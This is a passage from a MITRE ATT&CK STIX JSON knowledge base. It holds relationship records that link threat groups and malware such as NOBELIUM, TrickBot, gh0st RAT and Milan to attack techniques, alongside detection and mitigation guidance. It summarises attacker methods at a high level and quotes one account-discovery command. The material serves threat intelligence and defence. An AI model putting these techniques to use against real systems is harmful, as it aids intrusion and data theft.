(Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b08841ec-c80e-409e-90d1-cfb1cb191da4","type":"relationship","created":"2021-04-16T19:04:13.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."},{"source_name":"Secureworks IRON RITUAL Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022."}],"modified":"2022-02-24T20:32:44.628Z","description":"(Citation: MSTIC NOBELIUM Mar 2021)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: Secureworks IRON RITUAL Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--b7010785-699f-412f-ba49-524da6033c76","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b08e3c96-25a7-412f-bbfb-63e010ef3891","created":"2017-05-31T21:33:27.032Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.204Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b09075c8-6a45-4fd1-bdaf-c48a193bdd23","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b0994eea-4c0c-42d3-8d68-0acb1b6bb592","created":"2022-06-01T21:07:14.657Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has executed OLE objects using Microsoft Equation Editor to download and run malicious payloads.(Citation: Cisco Talos Bitter Bangladesh May 2022) ","modified":"2022-06-01T21:07:14.657Z","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b099746f-3c9f-41e8-95b2-af6ee5c10e83","type":"relationship","created":"2020-10-19T19:53:10.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-22T17:49:03.201Z","description":"Restrict administrator accounts to as few individuals as possible, following least privilege principles. Prevent credential overlap across systems of administrator and privileged accounts, particularly between network and non-network platforms, such as servers or endpoints.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b09cad27-7b44-4a57-adf8-dcbcb3cdcb0a","created":"2019-01-29T18:23:46.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Nokki Oct 2018","description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:37:52.443Z","description":"[DOGCALL](https://attack.mitre.org/software/S0213) is encrypted using single-byte XOR.(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"malware--0852567d-7958-4f4b-8947-4f840ec8d57d","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0a0e3c7-e1b2-4b84-8e37-8989147785d0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2019-07-11T13:53:05.821Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) developed a file stealer to search C:\\ and collect files with certain extensions. [Patchwork](https://attack.mitre.org/groups/G0040) also executed a script to enumerate all drives, store them as a list, and upload generated files to the C2 server.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0a40611-da3c-4447-b0af-fa66f927b623","type":"relationship","created":"2019-01-29T14:51:06.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.","url":"https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/","source_name":"Nccgroup Gh0st April 2018"}],"modified":"2021-03-29T19:49:11.266Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) can capture the victim’s screen remotely.(Citation: Nccgroup Gh0st April 2018)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b0a4f26e-9517-41ff-a4cb-c4e0b9934e68","created":"2022-03-30T14:26:51.849Z","x_mitre_version":"0.1","external_references":[{"source_name":"MITRE Trustworthy Firmware Measurement","url":"http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research","description":"Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made to the firmware for unexpected modifications to settings and/or data. (Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.","modified":"2022-04-20T12:51:04.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","target_ref":"attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0a6695b-e5ab-47b3-adfd-4db09c41457e","created":"2022-10-06T17:28:02.708Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T17:28:02.708Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used [zwShell](https://attack.mitre.org/software/S0350) to establish full remote control of the connected machine and browse the victim file system.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0a6e22f-adad-4625-b07d-996221cf3a50","type":"relationship","created":"2019-07-19T16:38:05.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:29.136Z","description":"(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0aa8d46-dca7-442f-8ddb-c2ed5835732e","created":"2024-07-29T22:31:58.151Z","revoked":false,"external_references":[{"source_name":"DomainTools WinterVivern 2021","description":"Chad Anderson. (2021, April 27). Winter Vivern: A Look At Re-Crafted Government MalDocs Targeting Multiple Languages. Retrieved July 29, 2024.","url":"https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:31:58.151Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) executed PowerShell scripts to create scheduled tasks to retrieve remotely-hosted payloads.(Citation: DomainTools WinterVivern 2021)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0ad4286-8434-400c-9eff-1b0ca2b7a094","created":"2022-10-04T20:44:29.099Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T20:44:29.099Z","description":"For [C0010](https://attack.mitre.org/campaigns/C0010), UNC3890 actors established domains that appeared to be legitimate services and entities, such as LinkedIn, Facebook, Office 365, and Pfizer.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0b2abea-e4a0-4e96-8e71-9ff49b4759f7","type":"relationship","created":"2021-08-18T19:52:07.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2021-08-18T19:52:07.094Z","description":"[DropBook](https://attack.mitre.org/software/S0547) has checked for the presence of Arabic language in the infected machine's settings.(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0b3d5ca-c072-4f2e-9c08-4262a27d7ae0","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.577Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may send phishing messages to gain access to victim systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nMonitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers. Correlate these records with system events.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0bac30d-7e77-41dd-9af8-c3daab9fa7b8","created":"2023-11-28T22:04:34.099Z","revoked":false,"external_references":[{"source_name":"Bitdefender Trickbot VNC module Whitepaper 2021","description":"Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot’s Ever-Improving VNC Module. Retrieved September 28, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-28T22:04:34.099Z","description":"WarzoneRAT has the ability of performing remote desktop access via a hVNC window for decreased visibility.(Citation: Bitdefender Trickbot VNC module Whitepaper 2021)","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0bba4a5-a3c3-4cf7-9347-c9070cb18998","type":"relationship","created":"2020-09-11T13:27:44.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-10-01T13:39:20.860Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can enumerate computers and network devices.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0be4fe2-f93c-4b7b-8cd4-d0f8a3508c26","created":"2024-05-23T22:38:07.210Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T22:38:07.210Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has compromised information technology providers and software developers providing services to targets of interest, building initial access to ultimate victims at least in part through compromise of service providers that work with the victim organizations.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0d3ef27-8854-486f-942b-f0cd42c8a85c","type":"relationship","created":"2020-09-25T17:35:36.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}],"modified":"2020-09-25T17:35:36.372Z","description":"[Valak](https://attack.mitre.org/software/S0476) can use the Registry for code updates and to collect credentials.(Citation: Unit 42 Valak July 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b0d9045a-448e-40f6-848a-7d852b1f197b","created":"2022-06-07T17:18:32.888Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) has run `C:\\Windows\\system32\\cmd.exe /c cmd /c dir c:\\users\\ /s 2>&1` to discover local accounts.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-07T17:18:32.888Z","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0da6a37-0a54-438f-abeb-7f1dcfebaa45","created":"2020-01-23T19:52:17.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)"},{"source_name":"Microsoft Windows Defender Application Control","description":"Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"},{"source_name":"Secure Host Baseline EMET","description":"National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.","url":"https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET"},{"source_name":"NSA MS AppLocker","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"},{"source_name":"Windows Commands JPCERT","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:25:06.872Z","description":"Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass application control. (Citation: Secure Host Baseline EMET) Identify and block potentially malicious software executed through regsvr32 functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0dcef9d-9fea-4471-8e26-16e272af5687","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the mounting of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--f1eb6ea9-f3ab-414f-af35-2d5427199984","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0e22e39-2b6c-4b27-8fd1-e9855194449e","created":"2024-05-17T13:53:39.165Z","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T13:53:39.165Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) leverages anti-debugging mechanisms through the use of ThreadHideFromDebugger.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0e23cdb-b676-4cad-b814-589734dfcb43","created":"2022-09-22T18:31:12.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T18:33:35.857Z","description":"For [C0011](https://attack.mitre.org/campaigns/C0011), [Transparent Tribe](https://attack.mitre.org/groups/G0134) used malicious VBA macros within a lure document as part of the [Crimson](https://attack.mitre.org/software/S0115) malware installation process onto a compromised host.(Citation: Cisco Talos Transparent 